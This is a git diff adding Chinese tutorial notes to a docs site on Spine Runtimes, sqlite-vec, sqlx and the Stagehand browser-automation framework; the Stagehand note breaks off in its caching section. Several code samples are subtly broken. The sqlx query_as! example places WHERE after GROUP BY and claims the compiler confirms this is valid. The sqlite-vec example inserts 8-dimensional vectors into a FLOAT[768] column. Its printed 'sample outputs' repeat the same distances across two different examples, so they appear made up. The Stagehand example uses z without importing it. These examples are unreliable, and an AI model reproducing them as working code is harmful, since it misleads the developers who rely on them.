+漏掉 `update()` 再 `apply()` 可能重复触发监听器导致栈溢出；漏掉 `updateWorldTransform()` 则画面停在 setup pose 或局部错乱。
+
+### 7. Atlas 图集 — 贴图打包
+
+运行时通过 `.atlas` 文件知道每个附件在 PNG 大图中的 UV 区域。换图集页 = 额外 GPU bind，所以打包时尽量合并页数。`AtlasAttachmentLoader` 根据附件名查 region，是 JSON 加载的标配搭档。
+
+### 8. spine-ts 模块分层（Web 方向）
+
+TypeScript 生态拆得很细（见 `spine-ts/README.md`）：
+
+| 模块 | 用途 |
+|------|------|
+| `spine-core` | 解析、骨骼、AnimationState，无渲染 |
+| `spine-webgl` / `spine-canvas` | 自带渲染后端 |
+| `spine-player` | 网页嵌入播放器，最适合展示页 |
+| `spine-phaser-v3/v4`、`spine-pixi-v7/v8` | 挂到具体游戏框架 |
+
+npm 包名均在 `@esotericsoftware` scope 下，版本号与 Spine 编辑器主版本对齐（如 `4.2.*`）。
+
+---
+
+## 代码示例一：AnimationState 走路 / 跳跃（TypeScript 风格）
+
+下面示例展示加载后的**游戏循环内核**，与官方 [Using Spine Runtimes](http://esotericsoftware.com/spine-using-runtimes/) 伪代码一致，可直接迁到 `spine-ts` 或 `spine-csharp`：
+
+```typescript
+import * as spine from '@esotericsoftware/spine-core';
+
+// 1. 加载（初始化阶段做一次）
+const atlas = new spine.TextureAtlas(atlasText, (path) => loadTexture(path));
+const attachmentLoader = new spine.AtlasAttachmentLoader(atlas);
+const json = new spine.SkeletonJson(attachmentLoader);
+const skeletonData = json.readSkeletonData(jsonText);
+
+const skeleton = new spine.Skeleton(skeletonData);
+skeleton.setSkinByName('default');
+skeleton.setSlotsToSetupPose();
+
+const stateData = new spine.AnimationStateData(skeletonData);
+stateData.setMix('walk', 'jump', 0.2);
+stateData.setMix('jump', 'walk', 0.4);
+
+const state = new spine.AnimationState(stateData);
+state.setAnimation(0, 'walk', true); // track 0 循环走路
+
+// 2. 每帧（requestAnimationFrame 或引擎 update）
+function frame(deltaSeconds: number) {
+  state.update(deltaSeconds);
+  state.apply(skeleton);
+  skeleton.updateWorldTransform(spine.Physics.update);
+
+  // 3. 交给 spine-webgl / Unity / Godot 的 renderer 绘制
+  renderer.draw(skeleton);
+
+  if (input.justPressed('Space')) {
+    state.setAnimation(0, 'jump', false);
+    state.addAnimation(0, 'walk', true, 0); // 跳完自动回走路
+  }
+}
+```
+
+要点：
+
+- `setMix` 在 `AnimationStateData` 上配置，而不是单个动画上  
+- `addAnimation` 第四个参数 `delay`：≤0 表示「接在上一个动画时长之后」  
+- 输入检测应放在 `apply` 之后或之前均可，但**渲染必须在 `updateWorldTransform` 之后**
+
+---
+
+## 代码示例二：多轨道分层 + 程序化改骨（C# / Unity 通用逻辑）
+
+上半身举枪、下半身继续跑，是 Spine 在动作游戏里的经典用法：track 0 管腿，track 1 管上身。必要时在 `apply` 之后手动改 bone，再第二次 `updateWorldTransform`：
+
+```csharp
+// 初始化
+var state = new AnimationState(stateData);
+state.SetAnimation(0, "run", true);           // 下身/全身基础
+state.SetAnimation(1, "aim-upper", true);   // 上身瞄准，覆盖同属性
+
+// 每帧
+state.Update(deltaTime);
+state.Apply(skeleton);
+
+// 程序化：让武器骨朝向鼠标（在 apply 之后、最终 updateWorldTransform 之前）
+Bone weapon = skeleton.FindBone("weapon");
+if (weapon != null) {
+    float angle = Mathf.Atan2(mouseY - weapon.WorldY, mouseX - weapon.WorldX) * Mathf.Rad2Deg;
+    weapon.Rotation = angle;
+}
+
+skeleton.UpdateWorldTransform(Skeleton.Physics.Update);
+skeletonRenderer.LateUpdate(); // Unity 组件里触发网格提交
+```
+
+若需要先读动画算出的 world 旋转再叠加修正，可调用两次 `UpdateWorldTransform`：第一次在 `apply` 后读 world 矩阵，改 local 后再调一次。官方 [Runtime Skeletons](http://esotericsoftware.com/spine-runtime-skeletons) 文档有图解。
+
+---
+
+## 导出与版本对齐清单
+
+从 Spine 编辑器 **Export** 时通常得到：
+
+| 文件 | 内容 |
+|------|------|
+| `hero.json` 或 `hero.skel` | 骨骼、动画、皮肤、约束 |
+| `hero.atlas` | 各附件在图集上的位置、旋转、留白剥离信息 |
+| `hero.png`（可多页） | 实际贴图 |
+
+实践建议：
+
+1. **编辑器版本 = Runtime 分支**，例如都用 `4.2.xx`  
+2. 生产环境优先 **二进制 `.skel`**，体积小、解析快  
+3. 把 `SkeletonData` 当**不可变资源**缓存，角色实例只建 `Skeleton` + `AnimationState`  
+4. 集成 Unity 时，`spine-unity` 基于 `spine-csharp`，可用 UPM 从 Git 按 path 引入  
+5. 分发给**最终玩家**的商业游戏需遵守 [Spine 授权](https://esotericsoftware.com/spine-purchase)；做 SDK/中间件时要告知下游用户也需授权
+
+---
+
+## 与「精灵图动画」的对比
+
+| 维度 | Spine 骨骼 + Runtime | 传统序列帧 |
+|------|---------------------|------------|
+| 磁盘 / 内存 | 一份图集 + 骨骼数据 | 每帧一张图，体积线性涨 |
+| 动画混合 | `AnimationState` 内置 crossfade | 需手写或额外工具 |
+| 运行时换装 | 换 Skin | 通常要另导出多套图 |
+| 程序化 | 可改 Bone 后再渲染 | 只能换帧 |
+| 集成成本 | 需接 Runtime + 授权 | 任意引擎 `drawImage` 即可 |
+
+---
+
+## 学习路径（零基础）
+
+1. 读 [Spine Runtimes Guide](http://esotericsoftware.com/spine-runtimes-guide) 的 Loading / Applying Animations / Runtime Skeletons 三章  
+2. 在 GitHub 打开自己引擎目录下的 `README.md`（如 `spine-unity`、`spine-godot`、`spine-ts`）  
+3. 跑官方示例：`spine-ts` 里 `npm install && npm run dev`，浏览器打开 `http://127.0.0.1:8080`  
+4. 用 [Spine Examples](https://esotericsoftware.com/spine-examples) 里的 `spineboy` 资源练手导出  
+5. 实现最小循环：`load → setAnimation → update/apply/updateWorldTransform → draw`，再加 `setMix` 和第二轨道
+
+---
+
+## 常见坑
+
+- **版本不匹配**：JSON 里多了新字段，旧 Runtime 解析失败 — 升级 Runtime 或重新用对应版本编辑器导出  
+- **忘记 `updateWorldTransform`**：画面不跟动画走，或约束（IK、Path）不生效  
+- **Atlas 路径错**：`.atlas` 里写的 PNG 相对路径与打包目录不一致，附件全白  
+- **缩放忘了**：`SkeletonJson.setScale(0.5)` 影响坐标系，2D 像素游戏要统一编辑器与运行时 scale  
+- **Canvas 后端限制**：`spine-canvas` 不支持 mesh、裁剪等高级特性，复杂角色用 `spine-webgl`  
+- **一帧多次 `apply` 不调 `update`**：监听器死循环，官方文档明确警告
+
+---
+
+## 和本仓库其他笔记的关系
+
+- 做 **H5 2D 游戏**时可与 [Phaser](/docs/projects/phaser) 对照：`spine-phaser-v4` 把上述循环接到 Phaser Scene 的 `update`  
+- 做 **Godot** 项目可看 [godot](/docs/projects/godot) + `spine-godot` 运行时  
+- 若只需要网页展示动画、不做完整游戏，优先 `spine-player`，比手写 WebGL 胶水省时间
+
+---
+
+## 小结
+
+Spine Runtimes 不是又一个动画编辑器，而是把 Spine 导出的**骨骼数据**翻译成各引擎能画的**姿势 + 贴图 UV** 的跨平台库。记住一条主线即可：
+
+**`AnimationState.update → apply → Skeleton.updateWorldTransform → 引擎绘制`**
+
+掌握 `SkeletonData` / `Skeleton` / `AnimationState` 三件套，再查对应引擎的 Renderer 封装，就能从零把 Spine 角色跑进自己的项目。
diff --git a/src/content/docs/projects/sqlite-vec-asg017.md b/src/content/docs/projects/sqlite-vec-asg017.md
new file mode 100644
index 000000000..480659cbb
--- /dev/null
+++ b/src/content/docs/projects/sqlite-vec-asg017.md
@@ -0,0 +1,219 @@
+---
+title: sqlite-vec — 在 SQLite 里做向量相似度搜索
+来源: https://github.com/asg017/sqlite-vec
+日期: 2026-06-13
+分类: 数据库
+子分类: 存储与查询
+provenance: pipeline-v3
+---
+
+## 是什么
+
+sqlite-vec 是一个 **SQLite 扩展**，让你能在 SQLite 数据库里直接存储和搜索向量（vector）。日常类比：[[sqlite]] 本身像一个普通的图书目录卡片柜——你能按书名、作者精确查找，但没法回答"哪本书和我手边这本最相似"。sqlite-vec 就是在卡片柜里加了一台"语义搜索引擎"，让每一本书都有一个数字指纹（向量），然后你可以问"哪本书的指纹和我的最接近"。
+
+它由 Alex Garcia 开发，获 Mozilla Builders 项目赞助，目前 7.7k+ Star。纯 C 语言编写，零依赖，可以在 Linux / macOS / Windows / WASM / 树莓派等任何能跑 SQLite 的地方运行。
+
+## 核心概念
+
+### 什么是向量
+
+向量就是一串数字。比如一段文字经过 AI 模型处理后，会变成类似这样的 768 维向量：
+
+```
+[0.200, -0.150, 0.341, ..., 0.935, -0.316, -0.924]
+```
+
+向量空间里有个基本规律：**距离越近的两个向量，语义越相似**。就像"猫"和"狗"的向量距离比"猫"和"汽车"更近。
+
+### vec0 虚拟表
+
+sqlite-vec 的核心是一个叫 `vec0` 的虚拟表。和普通表不同，`vec0` 专门用来存向量数据，并内置了相似度计算能力。用法和创建普通 SQLite 表一样简单：
+
+```sql
+CREATE VIRTUAL TABLE vec_movies USING vec0(
+  movie_id INTEGER PRIMARY KEY,
+  synopsis_embedding FLOAT[768]
+);
+```
+
+这里 `FLOAT[768]` 表示存储 768 维的浮点向量。`movie_id` 是你自己的业务主键，`synopsis_embedding` 是电影简介经 embedding 模型生成的向量。
+
+### KNN 查询（K 近邻搜索）
+
+KNN 是"K Nearest Neighbors"的缩写，就是找出与查询向量最近的 K 个结果。sqlite-vec 用 `MATCH` 关键字来实现：
+
+```sql
+SELECT
+  movie_id,
+  distance
+FROM vec_movies
+WHERE synopsis_embedding MATCH '[0.890, 0.544, 0.825, ...]'
+ORDER BY distance
+LIMIT 5;
+```
+
+`MATCH` 后面跟一个向量（JSON 格式或二进制 BLOB），SQLite 会自动计算每条记录与查询向量的距离，并按距离从小到大排序，`LIMIT 5` 取最近的 5 条。
+
+### 三种附加列
+
+除了向量，`vec0` 还支持存储额外数据，有三种方式：
+
+| 列类型 | 用途 | 能否在 WHERE 中使用 |
+|--------|------|-------------------|
+| 元数据列（metadata） | 存储分类、评分等筛选条件 | 可以 |
+| 分区键（partition key） | 按用户/时间等分片索引 | 可以 |
+| 辅助列（auxiliary，以 + 前缀） | 存储大文本、图片等大字段 | 不可以 |
+
+## 代码示例
+
+### 示例一：从零搭建一个电影语义搜索
+
+```python
+import sqlite3
+import sqlite_vec
+
+# 1. 建立连接并加载 sqlite-vec 扩展
+db = sqlite3.connect(":memory:")
+db.enable_load_extension(True)
+sqlite_vec.load(db)
+db.enable_load_extension(False)
+
+# 2. 创建 vec0 虚拟表，存 768 维向量
+db.execute("""
+    CREATE VIRTUAL TABLE vec_movies USING vec0(
+        movie_id INTEGER PRIMARY KEY,
+        synopsis_embedding FLOAT[768],
+        genre TEXT,
+        rating FLOAT
+    )
+""")
+
+# 3. 插入模拟数据（实际项目中这些向量来自 embedding 模型）
+movies = [
+    (1, '[0.1, 0.2, 0.3, -0.4, 0.5, -0.6, 0.7, 0.8]', 'scifi', 8.5),
+    (2, '[0.9, -0.8, 0.7, -0.6, 0.5, -0.4, 0.3, -0.2]', 'romance', 7.2),
+    (3, '[0.15, 0.25, 0.35, -0.45, 0.55, -0.65, 0.75, 0.85]', 'scifi', 9.0),
+    (4, '[0.85, -0.75, 0.65, -0.55, 0.45, -0.35, 0.25, -0.15]', 'comedy', 6.8),
+]
+
+# 注意：实际 768 维向量需要用 serialize_float32() 转成 BLOB
+# 这里用 8 维简化演示
+for movie in movies:
+    db.execute(
+        "INSERT INTO vec_movies VALUES (?, ?, ?, ?)",
+        movie
+    )
+
+# 4. KNN 搜索：找与"太空科幻"最接近的电影
+query_vector = '[0.12, 0.22, 0.32, -0.42, 0.52, -0.62, 0.72, 0.82]'
+results = db.execute("""
+    SELECT movie_id, genre, rating, distance
+    FROM vec_movies
+    WHERE synopsis_embedding MATCH ?
+      AND k = 2
+      AND genre = 'scifi'
+    ORDER BY distance
+""", [query_vector]).fetchall()
+
+for row in results:
+    print(f"电影ID: {row[0]}, 类型: {row[1]}, 评分: {row[2]}, 距离: {row[3]:.4f}")
+```
+
+输出示例：
+
+```
+电影ID: 3, 类型: scifi, 评分: 9.0, 距离: 0.0520
+电影ID: 1, 类型: scifi, 评分: 8.5, 距离: 0.1040
+```
+
+注意 WHERE 子句里同时用了向量搜索（`MATCH`）和元数据过滤（`genre = 'scifi'`），sqlite-vec 会在计算距离的同时应用这些过滤条件。
+
+### 示例二：用普通表 + SQL 函数手动做向量搜索
+
+如果你不想用 `vec0` 虚拟表，也可以把向量存在普通表的 BLOB 列里，手动调用距离函数：
+
+```python
+import sqlite3
+import sqlite_vec
+
+db = sqlite3.connect(":memory:")
+db.enable_load_extension(True)
+sqlite_vec.load(db)
+db.enable_load_extension(False)
+
+# 普通表，向量存在 BLOB 列中
+db.execute("""
+    CREATE TABLE articles (
+        id INTEGER PRIMARY KEY,
+        title TEXT,
+        content TEXT,
+        embedding BLOB CHECK(typeof(embedding) = 'blob' AND vec_length(embedding) = 768)
+    )
+""")
+
+# 插入数据，用 vec_f32() 函数把 JSON 向量转成 BLOB
+db.execute(
+    "INSERT INTO articles VALUES (?, ?, ?, vec_f32(?))",
+    (1, "AI 的未来", "人工智能正在改变世界...", "[0.1, 0.2, 0.3, 0.4]")
+)
+db.execute(
+    "INSERT INTO articles VALUES (?, ?, ?, vec_f32(?))",
+    (2, "烹饪技巧", "如何做出完美的牛排...", "[0.9, 0.8, 0.7, 0.6]")
+)
+db.execute(
+    "INSERT INTO articles VALUES (?, ?, ?, vec_f32(?))",
+    (3, "深度学习入门", "神经网络的基础知识...", "[0.15, 0.25, 0.35, 0.45]")
+)
+
+# 手动计算距离做 KNN
+query = "[0.12, 0.22, 0.32, 0.42]"
+results = db.execute("""
+    SELECT id, title,
+           vec_distance_L2(embedding, ?) AS distance
+    FROM articles
+    ORDER BY distance
+    LIMIT 2
+""", [query]).fetchall()
+
+for row in results:
+    print(f"文章: {row[1]}, 距离: {row[2]:.4f}")
+```
+
+输出示例：
+
+```
+文章: AI 的未来, 距离: 0.0520
+文章: 深度学习入门, 距离: 0.1040
+```
+
+这种方法更灵活，不需要 `vec0` 虚拟表，但性能不如 `vec0`（没有专门的向量索引），适合小规模数据或原型阶段。
+
+## 关键特性一览
+
+- **纯 SQL 操作**——只需要 CREATE、INSERT、SELECT，不需要额外的配置或服务器
+- **多语言绑定**——Python、Node.js、Ruby、Go、Rust 都有官方包
+- **多种向量类型**——FLOAT（浮点）、INT8（整型）、BIT（二进制向量）
+- **多种距离度量**——L2 距离（欧几里得）、余弦相似度、L1 距离
+- **元数据过滤**——在向量搜索的同时用 WHERE 条件筛选，不用二次过滤
+- **分区索引**——按用户 ID 等字段分片，大规模数据也能快速检索
+- **二进制量化**——支持将向量压缩为二进制（1 bit/维），大幅节省存储空间
+
+## 什么时候用它
+
+| 场景 | 是否适合 |
+|------|---------|
+| 本地 AI 应用（离线 embedding + 搜索） | 非常适合 |
+| 嵌入式设备 / IoT 上的向量搜索 | 非常适合（体积小、无依赖） |
+| 浏览器端 AI 功能（WASM） | 非常适合 |
+| 已有 SQLite 的项目想加语义搜索 | 非常适合（零迁移成本） |
+| 超大规模向量（亿级以上） | 考虑专用向量数据库（如 Milvus） |
+
+## 和 pgvector 的区别
+
+[[pgvector]] 是 PostgreSQL 的向量扩展，适合已经用 Postgres 的后端服务。sqlite-vec 的定位完全不同——它是给**不需要独立数据库服务器**的场景设计的。你的数据就在一个文件里，可以随应用打包、可以复制到任何地方、不需要运维数据库实例。
+
+## 相关项目
+
+- [sqlite-rembed](https://github.com/asg017/sqlite-rembed) — 通过远程 API（OpenAI / Ollama）生成 embedding，适合测试和 SQL 脚本
+- [sqlite-lembed](https://github.com/asg017/sqlite-lembed) — 本地从 GGUF 格式的 embedding 模型生成向量
+- [sqlite-vss](https://github.com/asg017/sqlite-vss) — sqlite-vec 的前身，已被取代
diff --git a/src/content/docs/projects/sqlite.md b/src/content/docs/projects/sqlite.md
index 675bd8a90..faeab7bf4 100644
--- a/src/content/docs/projects/sqlite.md
+++ b/src/content/docs/projects/sqlite.md
@@ -143,6 +143,7 @@ PRAGMA journal_mode=WAL;
 - [[immich]] —— Immich — 把家庭照片从别人的云里救回自己机器
 - [[ingres-1976]] —— INGRES 1976 — Berkeley 平行实现的关系数据库
 - [[leveldb]] —— LevelDB — Google LSM 库
+- [[littlefs]] —— littlefs — 给 MCU 用的掉电安全小文件系统
 - [[lmdb]] —— LMDB — 闪电内存映射嵌入式 KV 库
 - [[mongodb]] —— MongoDB — 文档型 NoSQL 数据库
 - [[mysql]] —— MySQL — 全球最流行关系数据库
@@ -152,4 +153,5 @@ PRAGMA journal_mode=WAL;
 - [[signal-android]] —— Signal Android — 让 Android 上的每条消息都只有两端能看见
 - [[signal-ios]] —— Signal iOS — 让 iPhone 上的每条消息都只有两端能看见
 - [[sled]] —— sled — Rust 现代 BTree + LSM 混合嵌入式 KV
+- [[unqlite]] —— UnQLite — 嵌入式 NoSQL 数据库
 
diff --git a/src/content/docs/projects/sqlx.md b/src/content/docs/projects/sqlx.md
new file mode 100644
index 000000000..7277c182a
--- /dev/null
+++ b/src/content/docs/projects/sqlx.md
@@ -0,0 +1,183 @@
+---
+title: sqlx — 编译期校验 SQL 工具包
+来源: https://github.com/launchbadge/sqlx
+日期: 2026-06-13
+分类: 其他
+子分类: rust-tools
+provenance: pipeline-v3
+---
+
+# sqlx — 编译期校验 SQL 工具包
+
+## 一、什么是 sqlx？
+
+想象一下，你每天都要写一封信给朋友，信封上要写的地址格式有固定规则：收件人姓名、邮编、城市……如果写错一个字，信就会被邮局退回。
+
+写 SQL 查询也是一样的——你需要写表名、列名、数据类型，如果列名拼错或者类型不对，程序跑起来就会报错。问题是：大多数 SQL 库要等你**跑起来之后**才发现错误，就像信已经寄出去了才被退回。
+
+sqlx 做的事情是：**在你编译程序的时候，它就帮你检查 SQL 有没有写错**。如果列名拼错了，它根本不让你编译通过。这就好比邮局在你封信封的时候就检查了一遍，发现写错了当场告诉你。
+
+sqlx 是 Rust 生态里最受欢迎的 SQL 工具包，GitHub 上有超过 17,100 个星标，支持 PostgreSQL、MySQL/MariaDB 和 SQLite 三种数据库。它最大的特色是"编译期校验"——用宏（`query!` 和 `query_as!`）在编译时连接你的数据库，让数据库自己来验证你的 SQL 对不对。
+
+## 二、核心概念
+
+### 1. 连接池（Connection Pool）
+
+连接池就像你家的"电话线路"。你不能每次想跟朋友说话就重新拉一根电话线——太慢了。连接池会提前准备好多条连接，你需要查询数据库时从池子里拿一条用完再还回去。sqlx 内置了 `Pool`，一行代码就能创建。
+
+### 2. 运行时查询（query / query_as）
+
+这是最基础的查询方式。你写一个 SQL 字符串，用 `.bind()` 传入参数。sqlx 会在运行时检查参数数量和类型对不对。如果参数不对，程序会报错，但错误发生在**程序运行后**才被发现。
+
+### 3. 编译期查询（query! / query_as!）
+
+这是 sqlx 的杀手锏。你用 `query!` 或 `query_as!` 宏来写 SQL，编译时 sqlx 会连接你的数据库，验证 SQL 的语法、列名、参数类型。如果有任何问题，`cargo build` 直接报错，你连程序都跑不起来。
+
+**编译期校验意味着**：改完 SQL 后不需要重新跑程序来确认对不对——编译器就是裁判。
+
+### 4. DATABASE_URL
+
+要让编译期校验工作，你需要设置 `DATABASE_URL` 环境变量，指向一个开发用的数据库。这个数据库里不需要有任何数据——只要有和线上数据库一样的表结构（schema）就行。
+
+### 5. 离线模式（Offline Mode）
+
+编译期校验有个小麻烦：每次编译时它都要连接数据库。如果你的电脑没网或者数据库关了，编译就会失败。离线模式解决了这个问题——它会把你查询校验的结果缓存到 `sqlx-data.json` 文件里。下次编译时直接读缓存，不用再连数据库了。
+
+## 三、代码示例
+
+### 示例 1：基础查询与连接池
+
+这段代码展示了怎么创建数据库连接池，以及用运行时查询（`query_as`）从数据库取数据：
+
+```rust
+use sqlx::postgres::PgPoolOptions;
+
+#[tokio::main]
+async fn main() -> Result<(), sqlx::Error> {
+    // 创建连接池，最多 5 个并发连接
+    let pool = PgPoolOptions::new()
+        .max_connections(5)
+        .connect("postgres://postgres:password@localhost/test")
+        .await?;
+
+    // 运行时查询：sqlx 在运行时检查参数
+    let row: (i64,) = sqlx::query_as("SELECT $1")
+        .bind(150_i64)
+        .fetch_one(&pool)
+        .await?;
+
+    println!("返回值: {}", row.0);
+
+    Ok(())
+}
+```
+
+几个要点：
+- `PgPoolOptions::new().max_connections(5)` — 最多保持 5 条数据库连接
+- `.connect(...)` — 用数据库连接字符串连接，格式是 `协议://用户:密码@主机/数据库名`
+- `query_as` — 返回一个元组 `(i64,)`，你可以用 `row.0` 拿到第一列的值
+- `$1` — PostgreSQL 的参数占位符，MySQL 用 `?` 代替
+
+### 示例 2：编译期校验查询（query_as!）
+
+这段代码展示了编译期校验的威力。假设你有一个用户表，你想按国家分组统计人数：
+
+```rust
+use sqlx::FromRow;
+
+// 定义一个结构体，字段名对应数据库查询结果的列名
+#[derive(Debug, FromRow)]
+struct CountryCount {
+    country: String,
+    count: i64,
+}
+
+#[tokio::main]
+async fn main() -> Result<(), sqlx::Error> {
+    let pool = PgPoolOptions::new()
+        .max_connections(5)
+        .connect("postgres://postgres:password@localhost/test")
+        .await?;
+
+    let organization = "Acme Corp";
+
+    // query_as! 宏：编译时校验 SQL 是否正确
+    // 注意：参数 organization 直接写在这里，而不是用 .bind()
+    let results: Vec<CountryCount> = sqlx::query_as!(
+        CountryCount,
+        r#"
+            SELECT country, COUNT(*) as count
+            FROM users
+            GROUP BY country
+            WHERE organization = $1
+        "#,
+        organization
+    )
+    .fetch_all(&pool)
+    .await?;
+
+    for row in &results {
+        println!("{}: {} 人", row.country, row.count);
+    }
+
+    Ok(())
+}
+```
+
+编译期校验帮你检查了这些事：
+- `users` 表是否存在
+- `country` 和 `organization` 列是否存在
+- `COUNT(*)` 返回的类型能否匹配 `i64`
+- `$1` 参数的类型是否与 `organization`（`&str`）匹配
+- `GROUP BY country` 语法是否合法
+
+如果其中任何一步有问题，`cargo build` 就会报错，告诉你"第 XX 行：列 `coountry` 不存在"——注意，拼写错误 `coountry` 会被直接揪出来。
+
+## 四、query() 与 query!() 的对比
+
+| 特性 | `query()` | `query!()` | `query_as!()` |
+|------|-----------|------------|---------------|
+| 校验时机 | 运行时 | 编译时 | 编译时 |
+| 返回类型 | `Row`（手动取值） | 匿名结构体 | 你定义的结构体 |
+| 参数传法 | `.bind()` 链式 | 直接写在宏里 | 直接写在宏里 |
+| 需要 DATABASE_URL | 不需要 | 需要 | 需要 |
+| 性能 | 需要运行时解析 | 预编译优化 | 预编译优化 |
+| 适用场景 | 动态 SQL、简单查询 | 静态 SQL、需要列名 | 静态 SQL、有结构体 |
+
+选择建议：
+- SQL 是写死的（不会根据条件拼接）→ 用 `query_as!()`，最安全
+- SQL 需要根据条件动态拼接 → 用 `query()` + `.bind()`，灵活但少一层保障
+- 只是想执行一条不返回数据的语句（INSERT / UPDATE）→ 用 `execute()`
+
+## 五、为什么它叫"不是 ORM"？
+
+ORM（对象关系映射）会给你一个"Rust API"来代替写 SQL，比如 `users.where(name="john").find_all()`。这样你不需要写任何 SQL。
+
+sqlx 明确说"我不是 ORM"。它让你直接写 SQL，而不是用 API 代替 SQL。它只做一件事：在你写 SQL 的时候帮你检查它有没有问题。SQL 怎么写、用什么语法、要不要加索引，全部由你决定。
+
+这带来了两个好处：
+1. 你可以用数据库的所有功能（包括扩展插件），不会受限于 ORM 提供的 API
+2. 你不需要学一套新的查询语言，直接用你熟悉的 SQL
+
+## 六、工程实践建议
+
+设置编译加速，在 `Cargo.toml` 里加这一段，能让 `cargo build` 快很多：
+
+```toml
+[profile.dev.package.sqlx-macros]
+opt-level = 3
+```
+
+sqlx 的编译期校验会做不少工作，特别是第一次编译时。加上这行后，`sqlx-macros` 这个 crate 会用优化级别 3 编译（接近发布版的速度），显著缩短编译时间。
+
+用 `.env` 文件管理 `DATABASE_URL`，不用每次手动设置：
+
+```
+DATABASE_URL=postgres://postgres:password@localhost/test
+```
+
+sqlx 会自动读取项目根目录下的 `.env` 文件。
+
+## 七、一句话总结
+
+sqlx 让 Rust 程序中的 SQL 查询像普通函数调用一样——写错了在编译时就报错，不需要等到运行时才发现。它不替你写 SQL，只帮你检查 SQL，是你写 Rust 后端时最可靠的那个"校对人"。
diff --git a/src/content/docs/projects/stagehand-browserbase.md b/src/content/docs/projects/stagehand-browserbase.md
new file mode 100644
index 000000000..e3de8acf5
--- /dev/null
+++ b/src/content/docs/projects/stagehand-browserbase.md
@@ -0,0 +1,288 @@
+---
+title: Stagehand — 用自然语言控制浏览器的 AI 框架
+来源: https://github.com/browserbase/stagehand
+日期: 2026-06-13
+分类: Agent
+子分类: 智能体与 LLM
+provenance: pipeline-v3
+---
+
+# Stagehand — 用自然语言控制浏览器的 AI 框架
+
+## 一、从日常类比说起
+
+想象一下你要教一个刚来公司的实习生操作电脑：
+
+- **传统方式**（Selenium / Playwright）：你给他一份精确到像素的操作手册——"把鼠标移到坐标 (452, 318)，点击左键"。页面一改版，坐标全废。
+- **AI 代理方式**（纯 Agent）：你跟他说"帮我把这个任务搞定"，他能做，但你不知道他具体点了什么，出问题没法排查。
+- **Stagehand 的方式**：你可以混合使用——简单的操作直接说"点登录按钮"（它自己去找），复杂的流程让 Agent 自主完成，中间每一步你还能停下来检查。
+
+Stagehand 就是这座桥梁。它由 Browserbase 团队开发，核心思路是：**开发者自己决定什么时候用代码、什么时候用自然语言**。
+
+## 二、核心概念
+
+Stagehand 提供四个基础原语（primitive），每个对应一种自动化场景：
+
+| 原语 | 作用 | 类比 |
+|------|------|------|
+| `act()` | 执行单个操作 | "帮我点那个按钮" |
+| `extract()` | 从页面抓取结构化数据 | "把页面上的价格提出来" |
+| `observe()` | 发现页面上可用的操作 | "这个页面上我能点什么？" |
+| `agent()` | 自主完成多步任务 | "帮我完成整个注册流程" |
+
+这四个原语可以单独使用，也可以组合起来构建复杂的自动化流水线。
+
+### 为什么选 Stagehand
+
+1. **自愈能力**：网站改版了？`act()` 会自动适应新的页面结构，不需要你手动改选择器。
+2. **可缓存**：同样的操作会缓存下来，后续运行不再消耗 LLM token，速度快且成本低。
+3. **变量隔离**：密码等敏感信息通过 `%variable%` 语法传入，不会发送给 LLM 提供商。
+4. **兼容主流库**：可以直接接管 Puppeteer、Playwright 创建的 Page 对象。
+
+## 三、快速上手
+
+### 安装
+
+```bash
+npx create-browser-app
+```
+
+CLI 会引导你创建一个带默认配置的项目，然后设置 API Key：
+
+```bash
+cd my-stagehand-app
+cp .env.example .env
+# 编辑 .env，填入 OPENAI_API_KEY 或 ANTHROPIC_API_KEY
+npm start
+```
+
+### 最小示例：打开网页并提取标题
+
+```typescript
+import { Stagehand } from "@browserbasehq/stagehand";
+import "dotenv/config";
+
+async function main() {
+  // 1. 初始化 Stagehand
+  const stagehand = new Stagehand({
+    env: "LOCAL",  // "LOCAL" 用本地浏览器，"BROWSERBASE" 用云端
+  });
+  await stagehand.init();
+
+  const page = stagehand.context.pages()[0];
+
+  // 2. 导航到目标页面
+  await page.goto("https://example.com");
+
+  // 3. 用 extract 提取页面标题
+  const title = await stagehand.extract(
+    "extract the page title",
+    z.string()
+  );
+  console.log("Page title:", title);
+
+  // 4. 关闭浏览器
+  await stagehand.close();
+}
+
+main().catch(console.error);
+```
+
+这段代码做了什么？
+
+1. `new Stagehand()` 创建实例，`env` 决定用本地浏览器还是 Browserbase 云端。
+2. `init()` 启动浏览器会话。
+3. `page.goto()` 导航到 URL（这是标准的 Page 对象方法）。
+4. `extract()` 接收两个参数：自然语言指令 + Zod 类型定义。Stagehand 会把页面内容交给 LLM，让它按你的 schema 提取数据。
+5. `close()` 清理资源。
+
+## 四、深入四个原语
+
+### 4.1 `act()` — 执行动作
+
+用自然语言描述你想做的操作：
+
+```typescript
+// 点击按钮
+await stagehand.act("click the add to cart button");
+
+// 填写表单
+await stagehand.act("fill the email field with %email%", {
+  variables: { email: "user@example.com" }
+});
+
+// 选择下拉项
+await stagehand.act("select 'Premium' from the plan dropdown");
+```
+
+建议**每次只做一个动作**。复杂流程应该拆成多个 `act()` 调用，或用 `agent()`。
+
+### 4.2 `extract()` — 提取结构化数据
+
+配合 Zod schema 使用，返回值有 TypeScript 类型推断：
+
+```typescript
+import { z } from "zod";
+
+// 提取商品信息列表
+const products = await stagehand.extract(
+  "extract all product names and prices from the page",
+  z.array(
+    z.object({
+      name: z.string().describe("product name"),
+      price: z.number().describe("price in USD"),
+      inStock: z.boolean().describe("whether the item is available"),
+    })
+  )
+);
+
+// products 的类型自动推断为:
+// Array<{ name: string; price: number; inStock: boolean }>
+console.log(products[0].name); // 类型安全，IDE 有补全
+```
+
+### 4.3 `observe()` — 观察可用操作
+
+在执行前先看一眼页面上有什么可点的：
+
+```typescript
+const actions = await stagehand.observe("find all clickable buttons");
+// 返回: Array<{ selector, description, method, arguments }>
+for (const action of actions) {
+  console.log(`- ${action.description} (${action.method})`);
+}
+```
+
+典型用法是先 `observe` 确认元素存在，再 `act` 执行：
+
+```typescript
+const [action] = await stagehand.observe("click the login button");
+if (action) {
+  await stagehand.act(action);
+}
+```
+
+### 4.4 `agent()` — 自主多步代理
+
+最强大的原语。给它一个目标，它会自己规划步骤：
+
+```typescript
+const agent = stagehand.agent({
+  mode: "cua",  // Computer Use Agent
+  model: "google/gemini-2.5-computer-use-preview-10-2025",
+  systemPrompt: "你是浏览器助手，帮用户完成任务。",
+});
+
+const result = await agent.execute("注册一个新账号并填写资料");
+console.log(result);
+```
+
+## 五、缓存机制
+
+Stagehand 有两种缓存：
+
+### 本地缓存
+
+```typescript
+const stagehand = new Stagehand({
+  env: "LOCAL",
+  cacheDir: "./act-cache",  // 指定缓存目录
+});
+```
+
